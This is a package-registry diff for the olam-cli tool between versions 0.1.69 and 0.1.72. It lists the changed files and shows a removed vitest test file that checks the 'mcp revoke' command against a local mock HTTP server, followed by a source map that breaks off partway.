@pleri/olam-cli 0.1.69 → 0.1.72

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (250) hide show
  1. package/dist/cli-version.d.ts +16 -0
  2. package/dist/cli-version.d.ts.map +1 -0
  3. package/dist/cli-version.js +39 -0
  4. package/dist/cli-version.js.map +1 -0
  5. package/dist/commands/create.d.ts.map +1 -1
  6. package/dist/commands/create.js +2 -0
  7. package/dist/commands/create.js.map +1 -1
  8. package/dist/commands/host-cp.d.ts.map +1 -1
  9. package/dist/commands/host-cp.js +10 -0
  10. package/dist/commands/host-cp.js.map +1 -1
  11. package/dist/commands/runbooks.d.ts +13 -0
  12. package/dist/commands/runbooks.d.ts.map +1 -0
  13. package/dist/commands/runbooks.js +189 -0
  14. package/dist/commands/runbooks.js.map +1 -0
  15. package/dist/commands/world-snapshot.d.ts +1 -0
  16. package/dist/commands/world-snapshot.d.ts.map +1 -1
  17. package/dist/commands/world-snapshot.js +126 -1
  18. package/dist/commands/world-snapshot.js.map +1 -1
  19. package/dist/commands/worldspec/compile.d.ts +20 -0
  20. package/dist/commands/worldspec/compile.d.ts.map +1 -0
  21. package/dist/commands/worldspec/compile.js +130 -0
  22. package/dist/commands/worldspec/compile.js.map +1 -0
  23. package/dist/commands/worldspec/index.d.ts +12 -0
  24. package/dist/commands/worldspec/index.d.ts.map +1 -0
  25. package/dist/commands/worldspec/index.js +23 -0
  26. package/dist/commands/worldspec/index.js.map +1 -0
  27. package/dist/commands/worldspec/init.d.ts +15 -0
  28. package/dist/commands/worldspec/init.d.ts.map +1 -0
  29. package/dist/commands/worldspec/init.js +166 -0
  30. package/dist/commands/worldspec/init.js.map +1 -0
  31. package/dist/commands/worldspec/schema.d.ts +11 -0
  32. package/dist/commands/worldspec/schema.d.ts.map +1 -0
  33. package/dist/commands/worldspec/schema.js +55 -0
  34. package/dist/commands/worldspec/schema.js.map +1 -0
  35. package/dist/commands/worldspec/validate.d.ts +15 -0
  36. package/dist/commands/worldspec/validate.d.ts.map +1 -0
  37. package/dist/commands/worldspec/validate.js +66 -0
  38. package/dist/commands/worldspec/validate.js.map +1 -0
  39. package/dist/exit-codes.d.ts +32 -0
  40. package/dist/exit-codes.d.ts.map +1 -1
  41. package/dist/exit-codes.js +32 -0
  42. package/dist/exit-codes.js.map +1 -1
  43. package/dist/image-digests.json +5 -5
  44. package/dist/index.js +4726 -1231
  45. package/dist/index.js.map +1 -1
  46. package/dist/mcp-server.js +1424 -321
  47. package/host-cp/compose.yaml +6 -0
  48. package/host-cp/src/global-config-source.mjs +71 -0
  49. package/host-cp/src/listening-server-poller.mjs +1 -1
  50. package/host-cp/src/plan-orchestrator.mjs +20 -1
  51. package/host-cp/src/port-bridge-manager.mjs +1 -1
  52. package/host-cp/src/server.mjs +46 -7
  53. package/host-cp/src/version-status.mjs +36 -0
  54. package/package.json +4 -2
  55. package/dist/__tests__/audit-publish-deps-contract.test.d.ts +0 -26
  56. package/dist/__tests__/audit-publish-deps-contract.test.d.ts.map +0 -1
  57. package/dist/__tests__/audit-publish-deps-contract.test.js +0 -86
  58. package/dist/__tests__/audit-publish-deps-contract.test.js.map +0 -1
  59. package/dist/__tests__/auth-status.test.d.ts +0 -2
  60. package/dist/__tests__/auth-status.test.d.ts.map +0 -1
  61. package/dist/__tests__/auth-status.test.js +0 -291
  62. package/dist/__tests__/auth-status.test.js.map +0 -1
  63. package/dist/__tests__/auth-upgrade.test.d.ts +0 -9
  64. package/dist/__tests__/auth-upgrade.test.d.ts.map +0 -1
  65. package/dist/__tests__/auth-upgrade.test.js +0 -397
  66. package/dist/__tests__/auth-upgrade.test.js.map +0 -1
  67. package/dist/__tests__/bootstrap-tag-mcp-auth.test.d.ts +0 -22
  68. package/dist/__tests__/bootstrap-tag-mcp-auth.test.d.ts.map +0 -1
  69. package/dist/__tests__/bootstrap-tag-mcp-auth.test.js +0 -63
  70. package/dist/__tests__/bootstrap-tag-mcp-auth.test.js.map +0 -1
  71. package/dist/__tests__/cli-mcp-revoke.test.d.ts +0 -8
  72. package/dist/__tests__/cli-mcp-revoke.test.d.ts.map +0 -1
  73. package/dist/__tests__/cli-mcp-revoke.test.js +0 -124
  74. package/dist/__tests__/cli-mcp-revoke.test.js.map +0 -1
  75. package/dist/__tests__/config.test.d.ts +0 -2
  76. package/dist/__tests__/config.test.d.ts.map +0 -1
  77. package/dist/__tests__/config.test.js +0 -95
  78. package/dist/__tests__/config.test.js.map +0 -1
  79. package/dist/__tests__/create-app-urls.test.d.ts +0 -2
  80. package/dist/__tests__/create-app-urls.test.d.ts.map +0 -1
  81. package/dist/__tests__/create-app-urls.test.js +0 -102
  82. package/dist/__tests__/create-app-urls.test.js.map +0 -1
  83. package/dist/__tests__/docker-host.test.d.ts +0 -14
  84. package/dist/__tests__/docker-host.test.d.ts.map +0 -1
  85. package/dist/__tests__/docker-host.test.js +0 -109
  86. package/dist/__tests__/docker-host.test.js.map +0 -1
  87. package/dist/__tests__/enter.test.d.ts +0 -2
  88. package/dist/__tests__/enter.test.d.ts.map +0 -1
  89. package/dist/__tests__/enter.test.js +0 -90
  90. package/dist/__tests__/enter.test.js.map +0 -1
  91. package/dist/__tests__/help-output.test.d.ts +0 -2
  92. package/dist/__tests__/help-output.test.d.ts.map +0 -1
  93. package/dist/__tests__/help-output.test.js +0 -74
  94. package/dist/__tests__/help-output.test.js.map +0 -1
  95. package/dist/__tests__/host-cp-gh-token.test.d.ts +0 -9
  96. package/dist/__tests__/host-cp-gh-token.test.d.ts.map +0 -1
  97. package/dist/__tests__/host-cp-gh-token.test.js +0 -119
  98. package/dist/__tests__/host-cp-gh-token.test.js.map +0 -1
  99. package/dist/__tests__/host-cp.test.d.ts +0 -9
  100. package/dist/__tests__/host-cp.test.d.ts.map +0 -1
  101. package/dist/__tests__/host-cp.test.js +0 -327
  102. package/dist/__tests__/host-cp.test.js.map +0 -1
  103. package/dist/__tests__/image-presence.test.d.ts +0 -2
  104. package/dist/__tests__/image-presence.test.d.ts.map +0 -1
  105. package/dist/__tests__/image-presence.test.js +0 -44
  106. package/dist/__tests__/image-presence.test.js.map +0 -1
  107. package/dist/__tests__/install-root.test.d.ts +0 -2
  108. package/dist/__tests__/install-root.test.d.ts.map +0 -1
  109. package/dist/__tests__/install-root.test.js +0 -119
  110. package/dist/__tests__/install-root.test.js.map +0 -1
  111. package/dist/__tests__/keys.test.d.ts +0 -9
  112. package/dist/__tests__/keys.test.d.ts.map +0 -1
  113. package/dist/__tests__/keys.test.js +0 -145
  114. package/dist/__tests__/keys.test.js.map +0 -1
  115. package/dist/__tests__/logs.test.d.ts +0 -9
  116. package/dist/__tests__/logs.test.d.ts.map +0 -1
  117. package/dist/__tests__/logs.test.js +0 -124
  118. package/dist/__tests__/logs.test.js.map +0 -1
  119. package/dist/__tests__/mcp-import.test.d.ts +0 -11
  120. package/dist/__tests__/mcp-import.test.d.ts.map +0 -1
  121. package/dist/__tests__/mcp-import.test.js +0 -134
  122. package/dist/__tests__/mcp-import.test.js.map +0 -1
  123. package/dist/__tests__/protocol-version.test.d.ts +0 -2
  124. package/dist/__tests__/protocol-version.test.d.ts.map +0 -1
  125. package/dist/__tests__/protocol-version.test.js +0 -170
  126. package/dist/__tests__/protocol-version.test.js.map +0 -1
  127. package/dist/__tests__/ps.test.d.ts +0 -2
  128. package/dist/__tests__/ps.test.d.ts.map +0 -1
  129. package/dist/__tests__/ps.test.js +0 -172
  130. package/dist/__tests__/ps.test.js.map +0 -1
  131. package/dist/__tests__/registry-allowlist.test.d.ts +0 -2
  132. package/dist/__tests__/registry-allowlist.test.d.ts.map +0 -1
  133. package/dist/__tests__/registry-allowlist.test.js +0 -129
  134. package/dist/__tests__/registry-allowlist.test.js.map +0 -1
  135. package/dist/__tests__/services.test.d.ts +0 -8
  136. package/dist/__tests__/services.test.d.ts.map +0 -1
  137. package/dist/__tests__/services.test.js +0 -185
  138. package/dist/__tests__/services.test.js.map +0 -1
  139. package/dist/__tests__/status-app-urls.test.d.ts +0 -2
  140. package/dist/__tests__/status-app-urls.test.d.ts.map +0 -1
  141. package/dist/__tests__/status-app-urls.test.js +0 -125
  142. package/dist/__tests__/status-app-urls.test.js.map +0 -1
  143. package/dist/__tests__/upgrade-gh-token-contract.test.d.ts +0 -19
  144. package/dist/__tests__/upgrade-gh-token-contract.test.d.ts.map +0 -1
  145. package/dist/__tests__/upgrade-gh-token-contract.test.js +0 -63
  146. package/dist/__tests__/upgrade-gh-token-contract.test.js.map +0 -1
  147. package/dist/__tests__/upgrade.test.d.ts +0 -9
  148. package/dist/__tests__/upgrade.test.d.ts.map +0 -1
  149. package/dist/__tests__/upgrade.test.js +0 -586
  150. package/dist/__tests__/upgrade.test.js.map +0 -1
  151. package/dist/commands/__tests__/__fixtures__/upgrade-helpers.d.ts +0 -6
  152. package/dist/commands/__tests__/__fixtures__/upgrade-helpers.d.ts.map +0 -1
  153. package/dist/commands/__tests__/__fixtures__/upgrade-helpers.js +0 -26
  154. package/dist/commands/__tests__/__fixtures__/upgrade-helpers.js.map +0 -1
  155. package/dist/commands/__tests__/begin.test.d.ts +0 -7
  156. package/dist/commands/__tests__/begin.test.d.ts.map +0 -1
  157. package/dist/commands/__tests__/begin.test.js +0 -72
  158. package/dist/commands/__tests__/begin.test.js.map +0 -1
  159. package/dist/commands/__tests__/bootstrap.test.d.ts +0 -2
  160. package/dist/commands/__tests__/bootstrap.test.d.ts.map +0 -1
  161. package/dist/commands/__tests__/bootstrap.test.js +0 -370
  162. package/dist/commands/__tests__/bootstrap.test.js.map +0 -1
  163. package/dist/commands/__tests__/carry-uncommitted.test.d.ts +0 -14
  164. package/dist/commands/__tests__/carry-uncommitted.test.d.ts.map +0 -1
  165. package/dist/commands/__tests__/carry-uncommitted.test.js +0 -83
  166. package/dist/commands/__tests__/carry-uncommitted.test.js.map +0 -1
  167. package/dist/commands/__tests__/clean.test.d.ts +0 -9
  168. package/dist/commands/__tests__/clean.test.d.ts.map +0 -1
  169. package/dist/commands/__tests__/clean.test.js +0 -105
  170. package/dist/commands/__tests__/clean.test.js.map +0 -1
  171. package/dist/commands/__tests__/crystallize.test.d.ts +0 -2
  172. package/dist/commands/__tests__/crystallize.test.d.ts.map +0 -1
  173. package/dist/commands/__tests__/crystallize.test.js +0 -133
  174. package/dist/commands/__tests__/crystallize.test.js.map +0 -1
  175. package/dist/commands/__tests__/diagnose.test.d.ts +0 -9
  176. package/dist/commands/__tests__/diagnose.test.d.ts.map +0 -1
  177. package/dist/commands/__tests__/diagnose.test.js +0 -108
  178. package/dist/commands/__tests__/diagnose.test.js.map +0 -1
  179. package/dist/commands/__tests__/openHostCpUrl.test.d.ts +0 -2
  180. package/dist/commands/__tests__/openHostCpUrl.test.d.ts.map +0 -1
  181. package/dist/commands/__tests__/openHostCpUrl.test.js +0 -63
  182. package/dist/commands/__tests__/openHostCpUrl.test.js.map +0 -1
  183. package/dist/commands/__tests__/refresh.test.d.ts +0 -13
  184. package/dist/commands/__tests__/refresh.test.d.ts.map +0 -1
  185. package/dist/commands/__tests__/refresh.test.js +0 -170
  186. package/dist/commands/__tests__/refresh.test.js.map +0 -1
  187. package/dist/commands/__tests__/status.test.d.ts +0 -8
  188. package/dist/commands/__tests__/status.test.d.ts.map +0 -1
  189. package/dist/commands/__tests__/status.test.js +0 -62
  190. package/dist/commands/__tests__/status.test.js.map +0 -1
  191. package/dist/commands/__tests__/stop.test.d.ts +0 -5
  192. package/dist/commands/__tests__/stop.test.d.ts.map +0 -1
  193. package/dist/commands/__tests__/stop.test.js +0 -30
  194. package/dist/commands/__tests__/stop.test.js.map +0 -1
  195. package/dist/commands/__tests__/update.test.d.ts +0 -7
  196. package/dist/commands/__tests__/update.test.d.ts.map +0 -1
  197. package/dist/commands/__tests__/update.test.js +0 -224
  198. package/dist/commands/__tests__/update.test.js.map +0 -1
  199. package/dist/commands/__tests__/upgrade.all-three.test.d.ts +0 -19
  200. package/dist/commands/__tests__/upgrade.all-three.test.d.ts.map +0 -1
  201. package/dist/commands/__tests__/upgrade.all-three.test.js +0 -80
  202. package/dist/commands/__tests__/upgrade.all-three.test.js.map +0 -1
  203. package/dist/commands/__tests__/upgrade.compose-path.test.d.ts +0 -20
  204. package/dist/commands/__tests__/upgrade.compose-path.test.d.ts.map +0 -1
  205. package/dist/commands/__tests__/upgrade.compose-path.test.js +0 -140
  206. package/dist/commands/__tests__/upgrade.compose-path.test.js.map +0 -1
  207. package/dist/commands/__tests__/upgrade.history.test.d.ts +0 -15
  208. package/dist/commands/__tests__/upgrade.history.test.d.ts.map +0 -1
  209. package/dist/commands/__tests__/upgrade.history.test.js +0 -199
  210. package/dist/commands/__tests__/upgrade.history.test.js.map +0 -1
  211. package/dist/commands/__tests__/upgrade.lock.test.d.ts +0 -15
  212. package/dist/commands/__tests__/upgrade.lock.test.d.ts.map +0 -1
  213. package/dist/commands/__tests__/upgrade.lock.test.js +0 -253
  214. package/dist/commands/__tests__/upgrade.lock.test.js.map +0 -1
  215. package/dist/commands/__tests__/upgrade.olam-tag.test.d.ts +0 -21
  216. package/dist/commands/__tests__/upgrade.olam-tag.test.d.ts.map +0 -1
  217. package/dist/commands/__tests__/upgrade.olam-tag.test.js +0 -114
  218. package/dist/commands/__tests__/upgrade.olam-tag.test.js.map +0 -1
  219. package/dist/commands/__tests__/upgrade.poll.test.d.ts +0 -14
  220. package/dist/commands/__tests__/upgrade.poll.test.d.ts.map +0 -1
  221. package/dist/commands/__tests__/upgrade.poll.test.js +0 -136
  222. package/dist/commands/__tests__/upgrade.poll.test.js.map +0 -1
  223. package/dist/commands/__tests__/upgrade.recreate.test.d.ts +0 -17
  224. package/dist/commands/__tests__/upgrade.recreate.test.d.ts.map +0 -1
  225. package/dist/commands/__tests__/upgrade.recreate.test.js +0 -83
  226. package/dist/commands/__tests__/upgrade.recreate.test.js.map +0 -1
  227. package/dist/commands/__tests__/upgrade.rollback.test.d.ts +0 -12
  228. package/dist/commands/__tests__/upgrade.rollback.test.d.ts.map +0 -1
  229. package/dist/commands/__tests__/upgrade.rollback.test.js +0 -255
  230. package/dist/commands/__tests__/upgrade.rollback.test.js.map +0 -1
  231. package/dist/commands/__tests__/upgrade.sha-capture.test.d.ts +0 -12
  232. package/dist/commands/__tests__/upgrade.sha-capture.test.d.ts.map +0 -1
  233. package/dist/commands/__tests__/upgrade.sha-capture.test.js +0 -63
  234. package/dist/commands/__tests__/upgrade.sha-capture.test.js.map +0 -1
  235. package/dist/commands/__tests__/upgrade.smoke.test.d.ts +0 -19
  236. package/dist/commands/__tests__/upgrade.smoke.test.d.ts.map +0 -1
  237. package/dist/commands/__tests__/upgrade.smoke.test.js +0 -87
  238. package/dist/commands/__tests__/upgrade.smoke.test.js.map +0 -1
  239. package/dist/commands/__tests__/upgrade.swap.test.d.ts +0 -19
  240. package/dist/commands/__tests__/upgrade.swap.test.d.ts.map +0 -1
  241. package/dist/commands/__tests__/upgrade.swap.test.js +0 -312
  242. package/dist/commands/__tests__/upgrade.swap.test.js.map +0 -1
  243. package/dist/commands/__tests__/world-upgrade.test.d.ts +0 -8
  244. package/dist/commands/__tests__/world-upgrade.test.d.ts.map +0 -1
  245. package/dist/commands/__tests__/world-upgrade.test.js +0 -73
  246. package/dist/commands/__tests__/world-upgrade.test.js.map +0 -1
  247. package/dist/lib/__tests__/symlink-reconcile.test.d.ts +0 -2
  248. package/dist/lib/__tests__/symlink-reconcile.test.d.ts.map +0 -1
  249. package/dist/lib/__tests__/symlink-reconcile.test.js +0 -106
  250. package/dist/lib/__tests__/symlink-reconcile.test.js.map +0 -1
@@ -1,124 +0,0 @@
1
- /**
2
- * Tests for `olam mcp revoke`.
3
- *
4
- * Acceptance: revoke_drops_token (with mock mcp-auth server),
5
- * multi_tenant_false_noop (no HTTP call, warning printed).
6
- */
7
- import { describe, test, expect, afterEach, vi } from 'vitest';
8
- import * as http from 'node:http';
9
- function startMockServer(handler) {
10
- return new Promise((resolve) => {
11
- const srv = http.createServer(handler);
12
- srv.listen(0, '127.0.0.1', () => {
13
- const port = srv.address().port;
14
- resolve({
15
- url: `http://127.0.0.1:${port}`,
16
- // srv.close's callback signature is `(err?: Error) => void`; Promise<void>
17
- // resolvers accept `void | PromiseLike<void>`. The two are not assignable
18
- // — wrap explicitly so the resolve discards the err arg.
19
- close: () => new Promise((res) => { srv.close(() => res()); }),
20
- });
21
- });
22
- });
23
- }
24
- function jsonResponse(res, status, body) {
25
- const raw = JSON.stringify(body);
26
- res.writeHead(status, { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(raw) });
27
- res.end(raw);
28
- }
29
- // ── Test environment helpers ─────────────────────────────────────────
30
- let savedEnv = {};
31
- function saveAndSetEnv(vars) {
32
- for (const [k, v] of Object.entries(vars)) {
33
- savedEnv[k] = process.env[k];
34
- if (v === undefined) {
35
- delete process.env[k];
36
- }
37
- else {
38
- process.env[k] = v;
39
- }
40
- }
41
- }
42
- function restoreEnv() {
43
- for (const [k, v] of Object.entries(savedEnv)) {
44
- if (v === undefined) {
45
- delete process.env[k];
46
- }
47
- else {
48
- process.env[k] = v;
49
- }
50
- }
51
- savedEnv = {};
52
- }
53
- // ── Tests ─────────────────────────────────────────────────────────────
54
- describe('olam mcp revoke', () => {
55
- afterEach(() => {
56
- restoreEnv();
57
- vi.restoreAllMocks();
58
- });
59
- test('multi_tenant_false_noop — warns and returns without HTTP call when OLAM_MCP_MULTI_TENANT unset', async () => {
60
- saveAndSetEnv({ OLAM_MCP_MULTI_TENANT: undefined });
61
- const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined);
62
- const fetchSpy = vi.spyOn(global, 'fetch');
63
- // Dynamically import so env vars are read at action time
64
- const { registerMcpRevoke } = await import('../commands/mcp/revoke.js?' + Date.now());
65
- const { Command } = await import('commander');
66
- const program = new Command();
67
- registerMcpRevoke(program);
68
- await program.parseAsync(['node', 'test', 'revoke', 'alice@example.com', 'world-1', 'linear']);
69
- expect(fetchSpy).not.toHaveBeenCalled();
70
- expect(warnSpy).toHaveBeenCalledWith(expect.stringContaining('no-op'));
71
- });
72
- test('revoke_drops_token — calls DELETE /entitlement/:user/:world/:service when multi_tenant=true', async () => {
73
- const received = [];
74
- const { url, close } = await startMockServer((req, res) => {
75
- received.push({ method: req.method ?? '', path: req.url ?? '' });
76
- jsonResponse(res, 200, { ok: true, revoked: { user: 'alice@example.com', world: 'world-1', service: 'linear' } });
77
- });
78
- saveAndSetEnv({
79
- OLAM_MCP_MULTI_TENANT: 'true',
80
- OLAM_MCP_AUTH_SERVICE_URL: url,
81
- OLAM_MCP_AUTH_SECRET: 'test-secret',
82
- });
83
- const logSpy = vi.spyOn(console, 'log').mockImplementation(() => undefined);
84
- const { registerMcpRevoke } = await import('../commands/mcp/revoke.js?' + Date.now());
85
- const { Command } = await import('commander');
86
- const program = new Command();
87
- registerMcpRevoke(program);
88
- await program.parseAsync(['node', 'test', 'revoke', 'alice@example.com', 'world-1', 'linear']);
89
- expect(received).toHaveLength(1);
90
- const first = received[0];
91
- expect(first.method).toBe('DELETE');
92
- expect(first.path).toBe(`/entitlement/${encodeURIComponent('alice@example.com')}/world-1/linear`);
93
- expect(logSpy).toHaveBeenCalledWith(expect.stringContaining('Revoked'));
94
- await close();
95
- });
96
- test('server_revocation_enforced — revoke returns success body with revoked details', async () => {
97
- const received = [];
98
- const { url, close } = await startMockServer((req, res) => {
99
- received.push({
100
- method: req.method ?? '',
101
- path: req.url ?? '',
102
- headers: req.headers,
103
- });
104
- jsonResponse(res, 200, { ok: true, revoked: { user: 'alice@example.com', world: 'world-1', service: 'linear' } });
105
- });
106
- saveAndSetEnv({
107
- OLAM_MCP_MULTI_TENANT: 'true',
108
- OLAM_MCP_AUTH_SERVICE_URL: url,
109
- OLAM_MCP_AUTH_SECRET: 'sec',
110
- });
111
- const { registerMcpRevoke } = await import('../commands/mcp/revoke.js?' + Date.now());
112
- const { Command } = await import('commander');
113
- const program = new Command();
114
- vi.spyOn(console, 'log').mockImplementation(() => undefined);
115
- registerMcpRevoke(program);
116
- await program.parseAsync(['node', 'test', 'revoke', 'alice@example.com', 'world-1', 'linear']);
117
- expect(received).toHaveLength(1);
118
- const first = received[0];
119
- expect(first.headers['x-olam-mcp-secret']).toBe('sec');
120
- expect(first.method).toBe('DELETE');
121
- await close();
122
- });
123
- });
124
- //# sourceMappingURL=cli-mcp-revoke.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"cli-mcp-revoke.test.js","sourceRoot":"","sources":["../../src/__tests__/cli-mcp-revoke.test.ts"],"names":[],"mappings":"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